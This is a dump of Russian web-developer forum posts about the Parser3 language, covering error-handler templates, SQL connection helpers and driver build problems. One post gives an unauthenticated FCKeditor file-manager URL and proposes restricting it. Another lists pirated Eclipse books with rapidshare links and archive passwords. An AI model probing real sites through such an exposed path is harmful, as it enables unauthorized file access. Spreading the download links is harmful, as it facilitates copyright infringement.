^if() d ghbywbgt не обязателен. в результате ^table::sql{} в любом случае результат - таблица. если она пустая, то menu просто ничего не выведет."
"51150","спасибо!\
работает."
"51151","селекты пробовал разные, для разных задач.\
\
FAQ читал год назад. и с тех пор почти не был здесь. сейчас возникла необходимость поправить одну штуковину. \
\
не смог конкретизировать ошибку, т.к. лог парсера не обновился на хостере, не смог ничего увидеть кроме \"анхендлед эксепшен\".\
\
ошибку до сих пор не могу уточнить, кажется раньше она была рода: \"не могу использовать один мейн в другом\". не помню. могу позже уточнить, когда будет доступ к логам.\
\
ок. виноват, в следующий раз буду более конкретен. я совсем не программер. :)"
"51153","Очень интересная штука.\
В Ководстве на сайте Студии Лебедева используется необычная для веба система оформления. Что я имею ввиду:\
\
Страница по вертикали разбита на три части\
1. код параграфа в статье\
2. сам пораграф\
3. ссылка или коментарий\
\
(ну например вот как тут: www.artlebedev.ru/kovodstvo/127/ )\
\
Внимание вопрос:\
Как повторить это, если весь текст хранится одним куском (а не разбитым по параграфам) в базе данных; при этом отдельно, в другой таблице, хранятся коментарии, которые должны быть привязаны к определенному месту в тексте?\
\
То есть как сделать так что бы коментарии выводились не единым списком, а привязанными к определенному месту в тексте. При том что они хранятся отдельно, а текст единым куском отдельно."
"51154","Структура страницы простейшая (трехколонник). По поводу структуры смотрите в сторону книг по дизайну (например, \"дизайнер и сетка\" на designbook.ru).\
\
А насчет самой верстки лучше смотреть исходник. Что вам мешает сделать так же, как там?"
"51155","Мешает то, что все хранится в базе в разных местах.\
В статике то проблем нет никаких.\
\
Пока что единственное что мне пришло в голову это добавлять в текст спец-тэги, которые означали бы, что напротив этого параграфа нужно поставить соответствующую сноску."
"51156","Ну можно и спецтеги"
"51157","Ну это как-то некрасиво и слишком громоздко..."
"51158","Это, наоборот, самый негромоздкий вариант."
"51159","Верно ли я понимаю что:\
\
1. В connection string нельзя заменить default значение command timeout (только login timeout)\
2. Единственный способ изменить значение по умолчанию это ковырнуть строчку в [i]win32\\sql\\odbc\\MFCpatches\\dbcore.cpp[/i] и заменить[code]m_dwQueryTimeout = DEFAULT_QUERY_TIMEOUT;\
[/code]на[code]m_dwQueryTimeout = 120;[/code] и пересобрать parser3odbc.dll, так?"
"51161","тут давеча наткнулся, может, пригодится:\
\
Ed Burnette, \"Eclipse IDE Pocket Guide\"\
O'Reilly | ISBN 0596100655 | August 12, 2005 Year | CHM | 0,33 Mb | 127 Pages\
\
Eclipse is the world's most popular IDE for Java development. And although there are plenty of large tomes that cover all the nooks and crannies of Eclipse, what you really need is a quick, handy guide to the features that are used over and over again in Java programming. You need answers to basic questions such as: Where was that menu? What does that command do again? And how can I set my classpath on a per-project basis?\
This practical pocket guide gets you up to speed quickly with Eclipse. It covers basic concepts, including Views and editors, as well as features that are not commonly understood, such as Perspectives and Launch Configurations. You'll learn how to write and debug your Java code--and how to integrate that code with tools such as Ant and JUnit. You'll also get a toolbox full of tips and tricks to handle common--and sometimes unexpected--tasks that you'll run across in your Java development cycle.\
Additionally, the Eclipse IDE Pocket Guide has a thorough appendix detailing all of Eclipse's important views, menus, and commands.\
The Eclipse IDE Pocket Guide is just the resource you need for using Eclipse, whether it's on a daily, weekly, or monthly basis. Put it in your back pocket, or just throw it in your backpack. With this guide in hand, you're ready to tackle the Eclipse programming environment.\
\
http://rapidshare.de/files/5878241/EBurnette.rar.html\
Password: www.AvaxHome.ru\
\
\
\
Jeff McAffer, Jean-Michel Lemieux, \"Eclipse Rich Client Platform: Designing, Coding, and Packaging Java(TM) Applications\"\
Addison-Wesley Professional | ISBN 0321334612 | October 11, 2005 Year | CHM | 5,14 Mb | 552 Pages\
\
\
“ Eclipse is more than a state-of-the-art IDE: its Rich Client Platform (RCP) plug-ins form an outstanding foundation for any desktop application, from chat applications to enterprise software front-ends. In Eclipse Rich Client Platform, two leaders of the Eclipse RCP project show exactly how to leverage Eclipse for rapid, efficient, cross-platform desktop development.\
\
In addition to explaining the power of Eclipse as a desktop application development platform, the authors walk step-by-step through developing a fully featured, branded RCP application. They introduce a wide range of techniques, including developing pluggable and dynamically extensible systems, using third-party code libraries, and packaging applications for diverse environments. You'll build, refine, and refactor a complete prototype; customize the user interface; add Help and Update features; and build, brand, and ship the finished software.\
\
— For every Java developer, regardless of previous Eclipse experience\
— Thoroughly covers Eclipse 3.1's new RCP features and its extensive new tools for designing, coding, and packaging RCP applications\
— Presents techniques for branding and customizing the look and feel of RCP applications\
— Shows how to overcome the challenges and \"rough edges\" of RCP development\
— Discusses the similarities and differences between RCP and conventional plug-in development\
— Includes an overview of OSGi, the base execution framework for Eclipse\
\
If you want to develop and deploy world-class Java applications with rich, native GUIs, and use Eclipse RCP — get this book.\
http://rapidshare.de/files/6715415/JMcAffer.rar.html\
Password: www.AvaxHome.ru\
\
\
\
\
\
John Arthorne, Chris Laffra, \"Official Eclipse 3.0 FAQs\"\
Addison-Wesley Professional | ISBN 0321268385 | 2004 Year | CHM | 2,47 Mb | 432 Pages\
\
\
“ \"I had a question about how to use a new Eclipse 3.0 feature, job scheduling, so I thought I would try out this book. I immediately found the answer with a concise explanation. Cool!\"\
-Erich Gamma\
\
Official Eclipse 3.0 FAQs is the convenient source for answers to your most crucial questions about writing Eclipse plug-ins. Whether you're creating simple extensions for personal use or commercial Eclipse-based applications, you'll find hundreds of concise solutions here--including many that aren't answered anywhere else.\
\
John Arthorne and Chris Laffra have worked with Eclipse technology since the very beginning; both are active members of the Eclipse development community and frequently answer questions on Eclipse newsgroups and mailing lists. Here, they cover an extraordinary range of topics, from workspace management to documentation, SWT to JFace, JDT to natural language support. Many FAQs include code samples and references to other information, making the book an invaluable desk reference for anyone working with Eclipse.\
\
Just a few of the 350+ questions answered here...\
http://rapidshare.de/files/7037423/JArthorne.rar.html\
Password: www.AvaxHome.ru\
\
"
"51162","а теперь просите переделывать других, только для того, что решить проблему, вызванную тем, что в своё время не подумали.\
Либо решайте экранированием в фигурные скобки, либо меняйте имена полей."
"51165","Довольно давно\
Непомню кто точно\
\
Выкладывал тут такой замечательный класс.. обработчик ошибок...красивенько так все..с подсказками\
Я им долго долго пользовался. Но вот полетел винт..\
\
Уже минут 15-20 пытаюсь найти эту тему на форуме...не получается.\
Может кто поможет найти...или поделится со мной (не обезательно этим же) обработчиком :)"
"51167","[code]\
@unhandled_exception_debug[exception;stack]\
$err_comment[^table::create{type	body\
parser.compile	Ошибка компиляции кода. Непарная скобка, и т.п.\
parser.runtime	Методу передано неправильное количество параметров или не тех типов, и т.п.\
parser.interrupted	Загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания)\
number.zerodivision	Деление или остаток от деления на ноль\
number.format	Преобразование к числу нечисловых данных\
file.missing	файл отсутствует\
file.access	Нет доступа к файлу\
image.format	Файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	Сервер баз данных не может быть найден или временно недоступен\
sql.execute	Ошибка исполнения SQL запроса\
xml	Ошибочный XML код или операция\
smtp.connect	SMTP сервер не может быть найден или временно недоступен\
smtp.execute	Ошибка отправки письма по SMTP протоколу\
email.format 	Ошибка в email адресе: адрес пустой или содержит неправильные символы\
email.send	Ошибка запуска почтовой программы\
http.host	Сервер не найден\
http.connect	Сервер найден, но не принимает соединение\
http.response	Сервер найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка)\
http.status	Cервер выдал ответ со статусом не равным 200 (не успешное выполнение запроса)\
http.timeout	Загрузка документа с HTTP-сервера не завершилась в отведенное для нее время}]\
$response:content-type[\
	$.value[text/html]\
	^if($exception.type eq \"xml\"){\
		$.charset[UTF-8]\
	}{\
		$.charset[$response:charset]\
	}\
]\
<html>\
<head>\
	<title>Необработанная ошибка!</title>\
	<style type=\"text/css\">\
		body {background-color: #ffffff; color: #000000; font-family: Tahoma, sans-serif; font-size: x-small; padding: 35 50;}\
		hr {color: #99d228; width: 15; height: 2px; text-align: left;}\
		pre {font-size: x-small;}\
		a:link, a:visited {font-weight: normal; color: #0000ff; text-decoration: underline;}\
		a:hover, a:visited:hover {color: #99d228; text-decoration: underline;}\
	</style>\
</head>\
<body bgcolor=\"white\">\
<table border=\"0\">\
<tr><td><b>Необработанная ошибка!</b></td></tr>\
<tr><td bgcolor=\"#99d228\" height=\"3\"></td></tr>\
</table>\
^if($exception.type eq \"xml\"){\
	<pre>$exception.comment</pre>\
}{\
	<i>^untaint[html]{$exception.comment}</i><br>\
}\
^if(def $exception.source){\
	<b>$exception.source</b><br><br>\
	^untaint[html]{файл: <u>$exception.file</u> <span style=\"color: #999999\">^(строка: $exception.lineno^)</span>}\
}\
<br><br><br>\
^if(def $exception.type){\
	<table border=\"0\" style=\"font-size: 90%\">\
		<tr>\
			<td rowspan=\"2\" valign=\"top\">тип ошибки:</td>\
			<td><u>$exception.type</u></td>\
		</tr>\
		<tr>\
			<td width=\"200\" style=\"color: #999999\"><i>^err_comment.menu{^if($err_comment.type eq $exception.type){$err_comment.body}}</i></td>\
		</tr>\
	</table>\
}\
^if($stack){\
	<hr>\
	<i>Остальная цепочка:</i>\
		<ul style=\"list-style-type: square^; margin: 0.5em 2em^;\">\
		^stack.menu{\
			^if(^stack.file.pos[/classes/] != -1 || ^stack.file.pos[/c/] != -1){\
				<li style=\"list-style-type: circle\" style=\"color: #999999\"><b>$stack.name</b> &mdash^; ^stack.file.match[(.+/)(.+?)^$][]{$match.1<b>$match.2</b>} (строка: $stack.lineno)</li>\
			}{\
				<li style=\"list-style-type: square\"><b>$stack.name</b> &mdash^; ^stack.file.match[(.+/)(.+?)^$][]{$match.1<b>$match.2</b>} <span style=\"color: #999999\">(строка: $stack.lineno)</span></li>\
			}\
		}\
	</ul>\
}\
<br><br><br>\
<a href=\"http://parser.ru/\" target=\"_blank\">parser.ru</a> &rarr; <a href=\"http://parser.ru/forum\" target=\"_blank\">форум</a>\
</body>\
</html>\
# end @unhandled_exception_debug[]\
[/code]"
"51168","Только не используйте на production-сервере (только на development-машинке):[code]#\
#	Этот метод вызывается каждый раз, когда дела идут наперекосяк и Parser вылетает:\
#\
\
@unhandled_exception[exception;stack]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
#	Если обращение идёт с локального компьютера, посетитель получит подробное объяснение\
#	про то, что произошло и где именно (вызывается @friendly_parser_error_message).\
#	Если обращение идёт не с localhost, выводится стандартный текст про Error 500\
\
^if(\
		!(\
			^env:REMOTE_ADDR.match[^^127\\.\\d+\\.\\d+\\.\\d+^$]\
				||\
			^env:REMOTE_ADDR.match[^^192\\.168\\.\\d+\\.\\d+^$]\
				||\
			^env:REMOTE_ADDR.match[^^10\\.\\d+\\.\\d+\\.\\d+^$]\
		)\
	){\
	$result[<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
	<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\">\
		<head>\
			<title>Internal server error</title>\
			<style type=\"text/css\"><!--\
				body {font-family: Arial, Geneva, Helvetica, sans-serif^; width: 580px^;}\
				h1 {font-size: 160%^; border-bottom: dotted 1px #900^; margin: 0^;padding: 0^; color: #900^;}\
			//--></style>\
		</head>\
		<body>\
		<H1>Internal server error (Parser)</h1>\
		<p>Server encountered an internal error. Please inform the webmaster about this problem.\
		If you are the webmaster, please edit the <code>auto.p</code> file to see error details.\
		^for[i](0;512/6){&nbsp^;}</p>\
		</body>\
	</html>]\
}{\
	^friendly_parser_error_message[$exception;$stack]\
}\
\
@friendly_parser_error_message[exception;stack]\
\
#	В сообщениях об ошибках, которые генерирует Parser, фигурируют реальные пути к файлам\
#	и папкам, что не есть хорошо. Вы можете указать в таблице $false_path вымышленное значение, на которое\
#	будет заменяться часть пути.\
\
$false_path[^table::create{from	to\
^if(def $env:DOCUMENT_ROOT){$env:DOCUMENT_ROOT}{c:/inetpub/}	&hellip^;/\
c:\\inetpub	&hellip^;/\
}]\
\
$result[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\">\
	<head>\
		<title>Internal server error (Parser)</title>\
		<style type=\"text/css\"><!--\
			body {font-family: Arial, Geneva, Helvetica, sans-serif^;}\
			h1 {font-size: 280%^; border-bottom: dotted 1px #900^; margin: 0^;padding: 0^; color: #900^; width: 750px^;}\
			li {list-style-type: square}\
			.g {color: #999999^;}\
		//--></style>\
	</head>\
	<body>\
		<H1>Internal server error (Parser)</h1>\
\
		<p>В работе Parser произошла ошибка:</p>\
\
		^if($exception.comment is string){\
			<pre>^untaint[html]{^exception.comment.replace[$false_path]}</pre>\
		}{\
			<pre>^untaint[html]{$exception.comment}</pre>\
		}\
		\
		^if(def $exception.source){\
			<h3>Ошибку вызвал этот фрагмент:</h3>\
			<code>^exception.source.replace[$false_path]</code>\
			^if(def $exception.file){\
				<h3>Ошибка произошла при работе с файлом:</h3>\
				<pre>^untaint[html]{<code>^exception.file.replace[$false_path]</code>, строка номер <b>$exception.lineno</b>}</pre>\
			}\
		}\
\
		$parser_error_types[^table::create{type	explanation\
parser.compile	в вашем коде ошибка - вы забыли поставить пару какой-нибудь скобке, забыли поставить \"птичку\" перед знаком <b>^;</b> или ещё что-то. Будьте внимательнее.\
parser.runtime	вы вызываете несуществующий метод (опечатка в имени или файл, в котором он лежит, недоступен?), методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком <b>^;</b> где он не несёт специального значения?) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
parser.interrupted	загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания).\
number.zerodivision	вы пытаетесь заставить Parser поделить что-то на ноль, а он так не умеет (и никто не умеет).\
number.format	вы пытаетесь преобразовать к числу нечисловые данные (например, \"Людовик XIV\" в \"14\" Parser преобразовать никогда не сумеет).\
file.missing	вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр букв? или заменили английскую букву в имени русской?)\
file.access	у Парсера нет прав на доступ к этому файлу (нет соответствующих разрешений или файл занят другим процессом).\
image.format	файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
sql.execute	произошла ошибка исполнения SQL запроса. Там точно нет никаких опечаток? В таблице, к которой вы обращаетесь, есть все нужные столбцы? Может быть, база данных была повреждена? Или кончилось место на диске и сервер базы данных не может дальше правильно работать?\
xml	в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
smtp.connect	SMTP сервер (сервер для отправки почты) не может быть найден или временно недоступен.\
smtp.execute	произошла ошибка отправки письма по SMTP протоколу (проверьте, не \"упал\" ли сервер, принимает ли он от вас письма, и не вмешивается ли в процесс слишком бдительный антивирус или файрволл).\
email.format 	у вас ошибка в email адресе: адрес пустой, содержит неправильные символы или же там попросту нет \"@\".\
email.send	произошла ошибка запуска почтовой программы (у вас точно smtp/sendmail правильно работает? Спросите у администратора сервера или залезьте сами по SSH и проверьте, сымитировав отправку письма вручную).\
http.host	искомый сервер не найден. Вы точно не сделали опечаток в имени, не выдернули шнур из сетевой карты, и не переусердствовали с настройкой файрволла?\
http.connect	сервер, к которому вы обращаетесь, найден, но не принимает соединений. Может быть, слишком бдительный firewall или антивирус вмешиваются?\
http.response	сервер, к которому вы обращаетесь, был найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка). Или это сетевая ошибка, или сбой \"на той стороне\". Соединитесь telent'ом с другим сервером и проверьте вручную, что на самом деле он выдаёт.\
http.status	Cервер выдал ответ со статусом, не равным 200 (не успешное выполнение запроса). Может быть, статус - уже давно как \"404 Page not found\"? Если вам не важен статус ответа, попробуйте опцию <code>any-status(1)</code>\
http.timeout	Parser не успел выкачать документ с HTTP-сервера в отведенное время. Попробуйте увеличить параметр timeout или сделать что-то с каналом связи с интернетом.}]\
\
		^if(def $exception.comment){\
			$parser_faq[^table::create{code	explanation\
expecting 'STRING' or '&#36^;' or '&#94^;'	Как правило это не закрытые скобки или забытый префикс в виде символа ’&#94^;’ перед спецсимволами Парсера ’^;’, ’&#94^;’, ’&#36^;’ и др. Если вы хотите, чтобы в тексте странички появился символ ’^;’ его надо написать так ’&#94^;^;’. В принципе, префиксы ставить нужно не всегда, однако если вы их поставите — хуже не будет)\
accepts minimum	Это означает, что вы вызываете оператор и пытаетесь передать ему меньше параметров, чем тот требует для своего функционирования. Очень часто такая ошибка происходит, когда вы между скобками, разделяющими параметры, ставите пробелы/переводы строк.\
accepts maximum	Это означает, что вы вызываете метод, и пытаетесь передать ему больше параметров, чем тот может принять. Очень часто такая ошибка происходит, когда вы передаете в метод строку, содержащую спецсимволы, вероятно, символ «точка с запятой», не предварив её символом «птичка». При этом Парсер воспринимает этот символ как разделитель передаваемых в метод параметров.\
method_frame may not be overwritten	Производится попытка добавить в тело страницы объект, который не может быть выведен Парсером. Например, если написать в чистом поле &#94^;date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее: <pre>&#36^;now[&#94^;date.now[]]<br />&#94^;now.sql-string[]</pre>Аналогично с объектами таблица, хеш и т.д.\
MAIN:CLASS_PATH were specified	Вы пытаетесь использовать @USE или &#94^;use[] но не задали переменную &#36^;MAIN:CLASS_PATH и персер не знает, где искать классы, которые вы пытаетесь подключить. Подробности в документации.\
not found along MAIN:CLASS_PATH	Файл с операторами или классами, которые вы пытаетесь подключить через @USE или &#94^;use[] не найден по путям, указанным в переменной &#36^;MAIN:CLASS_PATH. Часто проблема имеет место быть, если после имени файла закрался пробел/символ табуляции. Также бывает, что после @USE и списка модулей забывают объявить метод и начинают писать код страницы, подразумевая, что это будет @main[]\
SQL:drivers table must be defined	Не настроен или отсутствует конфигурационный auto.p (это тот, который у cgi версии лежит рядом с исполняемым файлом Парсера). Для простой проверки скачайте из соответствующего раздела тестовый документ, распакуйте его в веб пространство вашего сайта и обратитесь к нему из броузера. Для того, чтобы данный файл смог все проверить, вам будет необходимо отредактировать конфигурационный auto.p и указать абсолютный путь в &#36^;confdir.\
driver implements API version	Версия установленного и требуемого parser'ом драйвера (libparser3???.so) не совпадают. Причина может быть в том, что вы перешли с одной версии Парсера на другую, но не обновили драйвер базы данных.\
outside of 'connect' operator	Происходит попытка выполнить SQL запрос (&#94^;table::sql{}, &#94^;int:sql{} и др.) вне оператора для подключения к БД &#94^;connect[строка подключения]{запросы тут}.\
transcodeFromUTF8 error	Тот кто настраивал вам Парсер или совсем не положил предлагаемый конфигурационный файл, или испортил его. По-умолчанию, если &#36^;request:charset не задан (сейчас подходящий момент посмотреть в документацию) он равен UTF-8. Parser’у не объяснили, в какой кодировке его документы (&#36^;request:charset), и он считает, что они в UTF-8. Соответственно, если попросить его перекодировать из UTF-8 в windows-1251 (определив &#36^;response:charset), задав на входе текст в windows-1251, он честно возмутится.\
endless loop detected	Подобное сообщение появляется, если Парсер обнаруживает очень длинный цикл. Например, если вы напишите конструкцию &#94^;while(1){что-то} то будет подобное сообщение об ошибке. Кроме того, если вы сделаете большой цикл for или menu в котором будет более 10000 итераций, то тоже увидите подобное сообщение.\
CDBException:	Проблема при установке соединения с помощью ODBC.\
CDBException: SQL Server does not exist or access denied	SQL Server упал или недоступен по другой причине.\
endless recursion detected	Подобное сообщение появляется, если Парсеру кажется, что код зациклился. Очень часто причиной может быть некорректная или очень глубокая рекурсия (более 1000 вызовов).}]\
\
			$faq_explanation[]\
\
			^parser_faq.menu{\
				^if(^exception.comment.pos[$parser_faq.code] >= 0){\
					$faq_explanation[$parser_faq.explanation]\
				}\
			}\
		}\
\
		^rem{### если текст ошибки упоминался в FAQ, выводим запись оттуда, если нет - более общий текст ###}\
\
		^if(!def $faq_explanation){\
			^if(^parser_error_types.locate[type;$exception.type]){\
				<h3>Что обычно приводит к ошибке $exception.type?</h3>\
		 		<p>^taint[as-is][$parser_error_types.explanation]</p>\
			}\
		}{\
			<h3>Вот что говорится в <a href=\"http://www.parser.ru/faq/\">FAQ</a> об этой ошибке:</h3>\
			<p>$faq_explanation</p>\
		}\
\
		^if($stack){\
			^if(^stack.count[] > 1){\
				<h3>Последовательность операций, которая привела к ошибке:</h3>\
				(от самой последней вверху списка до самой первой внизу)\
				<ul>\
					^stack.menu{\
						<li><code>$stack.name</code>: <small class=\"g\">^stack.file.replace[$false_path] строка $stack.lineno</small> </li>\
					}\
				</ul>\
			}{\
				<h3>Проблема возникла при выполнении:</h3>\
				<p><code>$stack.name</code>: ^stack.file.replace[$false_path] строка $stack.lineno</p>\
			}\
		}\
\
		<h2>Ссылки:</h2>\
\
		<ul>\
			<li><a href=\"http://www.parser.ru/docs/\">Документация по Parser</a></li>\
			<li><a href=\"http://www.parser.ru/faq/\">FAQ по Parser</a></li>\
		</ul>\
\
		^for[i](0;512/6){&nbsp^;}\
\
	</body>\
</html>] [/code]"
"51170","вот.\
http://www.rogonov.2pay.ru/user/\
\
Что и где надо поправить чтоб он начал показывать?"
"51171","И что в коде трогали?\
\
Кстати, parser не всегда указывает на конкретную строку..."
"51172","Документация как-то обходит эту тему стороной.\
\
Parser3.exe собирается точно в соответствии с инструкцией (правда в http://www.parser.ru/f/1/download/src/parser-3.2.1.tar.gz ошибка - собранный EXE'шник браво рапортует, что он собран под solaris...)"
"51173","Ваш помоему.\
Ничего нетрогал.\
\
Могу убрать...будет по стандартному ошибка писаться..\
Серавно нет ни строчки ни файла.\
\
Да вчера админ пересобрал парсер нам. Что с Xml он был.....и после этого ошибки показываются так вот...обрезано...\
\
А сегодня свинтил кудато..."
"51183","В моём методе заголовок \"Internal server error (Parser)\", в вашем -  \"Ошибка в коде Parser\". Вывод - вы брали не мой код или правили не тот файл auto.p"
"51184","http://www.parser.ru/forum/?id=21716\
Взято вот отсюда :)\
\
Помоему автор топика вы.\
\
Ну на самом деле вопрос то не об этом...А в том, что парсер отказываеться показывать так как гдето в настройка что-то указано не то\
Ну вот сейчас вообще удалил оброботчик...\
\
Напомню ссылку - http://rogonov.2pay.ru/user/"
"51185","Или ссылку раньше времени поставили, или что-то еще...\
Открываю http://www.samsung.ru/ и нажимаю на баннер (samsung & bang & olufsen), а там привет от парсера:\
Parser/3.1.5beta (compiled on sparc-sun-solaris2.9)\
\
Может быть вы к этому отношения не имеете, это я так, на всякий случай ))"
"51186","тому коду полтора года. Не хотите попробовать со свежим вариантом?"
"51188","sepeda@mail.ru\
Твоего e-mail я не нашел."
"51189","что вы просто хотите, чтобы на этом значке обработка имени переменной остановилась.\
конечно, это разумно. \
добавлю это.\
\
если нужно срочно, добавьте самостоятельно одну строчку в разбор лексем (файл compile.y).\
\
запрашиваемый вами сейчас список в документации имелся.."
"51191","ситуация такая:\
\
1. в основном auto.p том что лежит там же где и парсер прописаны параметры подключения к бд. Они хранятся в\
[code]$SQL.connect-string[/code]\
\
2. в auto.p подкаталога определена функция:\
[code]@dbconnect[code]\
^connect[$SQL.connect-string]{$code}[/code]\
\
3. в этом же подкаталоге лежит файл, который работает с бд вот так:\
[code]^connect[$SQL.connect-string]{\
	\
	$sections[^table::sql{\
		select id, text, link, class, parent\
		from sections\
		where class=1}\
		]\
\
\
	^sections.menu{<a href=$sections.link>$sections.text</a>}[<br>]\
}[/code]\
\
Если же попытаться работать с ним вот так:\
[code]^dbconnect[\
	\
	$sections[^table::sql{\
		select id, text, link, class, parent\
		from sections\
		where class=1}\
		]\
\
\
	^sections.menu{<a href=$sections.link>$sections.text</a>}[<br>]\
][/code]\
то наступает ошибка.\
\
В чем может быть дело???"
"51192","никогда ничего подобного не наблюдал.\
может ты имеешь в виду пару небольшие стыки при импорте, когда sequence подкручивали до ближайшего круглого числа?"
"51193","а переменную эту вообще впервые вижу.\
если имеющийся код её умеет менять, нужно найти, как это делается и сделать.\
или жёстко править.\
не понял вашего ответа.."
"51194","[code]cvs co bin[/code]\
\
там есть .cmd-шнички.\
\
чтобы версия правильно писалась, pa_version.h нужно взять из cvs.\
в .tgz попадает pa_version.h с той машины, где делали configure/make dist ;)"
"51196","надеюсь вы даже не думаете открывать для каждого запроса свое соединение, а указывать его только один раз для всех внути документа. Впрочем, тогда непонятно чем вышописанный метод вам поможет."
"51197","Ну вот именно по этому тот метод который не дает ошибку меня не устраивает"
"51198","^connect[$SQL.connect-string]{\
^dbconnect{\
какая разница?"
"51199","ну впринципе никакой =)\
\
Просто после создания собственно функции можно весь код, ну или по крайней мере ту его часть где происходит работа с бд поместить внутрь ее."
"51200","но результат не изменится\
а вообще есть замечательный класс у Мишы в примерах"
"51201","Скачал исходный код:\
http://www.parser.ru/f/1/download/src/parser3pgsql-3.1.4.tar.gz\
\
Распаковал, запустил конфигур и получил ошибку\
./configure --with-pgsql-inc=/usr/local/include/postgresql/server\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking for gawk... no\
checking for mawk... no\
checking for nawk... nawk\
checking whether make sets $(MAKE)... yes\
configure: error: /usr/local/include/postgresql/server does not seem to be valid PgSQL includes directory\
\
инклуды вроде на месте\
ls -la /usr/local/include/postgresql/server\
total 190\
drwxr-xr-x  19 root  wheel   1024 15 НБТ 12:42 .\
drwxr-xr-x   5 root  wheel    512 15 НБТ 12:42 ..\
drwxr-xr-x   2 root  wheel   1024 15 НБТ 12:42 access\
drwxr-xr-x   2 root  wheel    512 15 НБТ 12:42 bootstrap\
-rw-r--r--   1 root  wheel  22465 15 НБТ 12:42 c.h\
\
...\
\
что делать?"
"51202","Разница между приведенным кодом и вашим есть. В вашем коде:\
\
[code]\
^dbconnect[...\
^dbconnect{...\
[/code]\
\
Код передается в фигурных скобках ;)\
\
[color=\"cccccc\"]Читайте доки, они рулят.[/color]"
"51203","Если зайти по адресу:\
/editor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php\
То получаем доступ к файловому менеджеру.\
В связи с этим, необходимо доступ на файлы в папке:\
\
/editor/editor/filemanager/browser/default/\
\
ограничить по регистрации.\
\
Пока, сходу, вставив проверку на регистрацию не удалось получить до конца работающий filemanager, но думаю, сегодня разберусь. Там какие-то заморочки возникают с JavaScript.\
\
Спасибо Евгению за письмо."
"51204","Да, спасибо, я так и сделал в результате."
"51205","(можно сразу писать менеджеру проекта = быстро передадут в работу = быстро починят)"
"51208","[url=\"/examples/js_http_request/\"]enjoy[/url]"
"51209","Мне, если честно, при моем уровне знания JS было пока проблематично сделать это самому."
"51210","класс помогает писать backend (парсерный код который принимает запросы от js, делает что-то и отдает ответ), а frontend по любому надо писать самому на js ^^"
"51211","Да вот с переводом server-кода с php на Parser у меня возникли проблемы. Т.ч., думаю, разбирусь. Логика понятна."
"51213","[code]\
if test \\! -f \"$PGSQL_INC/libpq-fe.h\"; then\
	AC_MSG_ERROR($PGSQL_INC does not seem to be valid PgSQL includes directory)\
fi\
[/code]"
"51214","если хотите внимательно промерять, у вас есть микроскоп — $status:rusage.\
\
через @unhandled_.. — наилучший вариант!"
"51215","спасибо!"
"51216","приведите строчку ошибки из лога, тогда можно будет что-то ответить"
"51217","Приветствую!\
\
Я веду рассылку: \"Принципы создания движка сайта (CMS)\"\
В которой набираю команду по созданию CMS на своих принципах.\
\
Вот аннотация рассылки:\
По шагам, не спеша, я рассказываю в своей рассылке \
как создать мощную систему управления сайтами (CMS) \
на любом серверном языке программирования. \
Излагать буду именно ПРИНЦИПЫ СОЗДАНИЯ подобных систем. \
\
Подписка здесь\
http://content.mail.ru/pages/p_21671.html\
или здесь\
http://subscribe.ru/catalog/inet.webbuild.khusamov\
\
Подписывать на обоих серверах не имеет смысла, \
там и там выпуски будут дублироваться.\
Даю оба варианта, так сказать, по вкусу.\
\
Первый выпуск готов и будет разослан в конце недели.\
\
// Хусамов Сухроб"
"51218","Могу поделиться кое-какими модулями. Например статистикой сайта, опросами, каталогом ссылок. В работе это добро можно посмотреть на сайте [url=\"http://www.himoil.ru\"]HimOil.ru[/url] за дизайн можно не пинать сайт еще сырой, дизайн в стадии создания. Вопросы будут пиши. Кстати советы и предложения приветствуются."
"51219","Спасибо! Принял к сведению! Буду рад, если присоединишься к обсуждению проблем CMS. Подписывайся, наверняка и для себя почерпнешь полезное."
"51220","можно будет обсудить некоторые концептуальные моменты :)\
\
например, мне все меньше нравится тот способ, которым собирается и передается нумерованный массив (array). Как-то не совсем логично использовать для этого hash of bool, хотя-бы по причине отсутствия упорядоченности данных, которая массивам обычно необходима. Есть мысль использовать для этого таблицу из одного столбца, так как в этом случае можно будет сохранить порядок следования элементов. Правда такой вариант тоже не претендует на полноценность - не получается реализовать вложенность\
[code]\
[1,2,[4,5],6]\
[/code] \
однако на практике от таких вложенных массивов толку мало, обычно используются простые массивы, в сложных случаях [url=\"http://www.dklab.ru/chicken/nablas/38.html#cont3\"]можно пробовать заменять на хеш[/url]. \
\
По идее можно переименовать метод [i]^_object2js[][/i] в [i]^_object2[url=\"http://www.json.org/\"]json[/url][][/i], хотя, конечно, не принципиально, да и JSON там получается весьма условный...\
\
из [i]^_object2js[][/i] можно выкинуть [i]$uVar is \"void\"[/i], в любом случае, если метод не найдет подходящего типа, он вернет [i]null[/i], кстати тот [i]^return[null][/i] в конце метода остался непереименованым. \
\
Пример пока не тестил, надо будет заняться. :)"
"51221","мне пока пофигу в каком виде передавать данные в js :)\
\
^_object2js[] немного изменил, ^return[] пофиксил. спасибо."
"51222","Здравствуйте.\
\
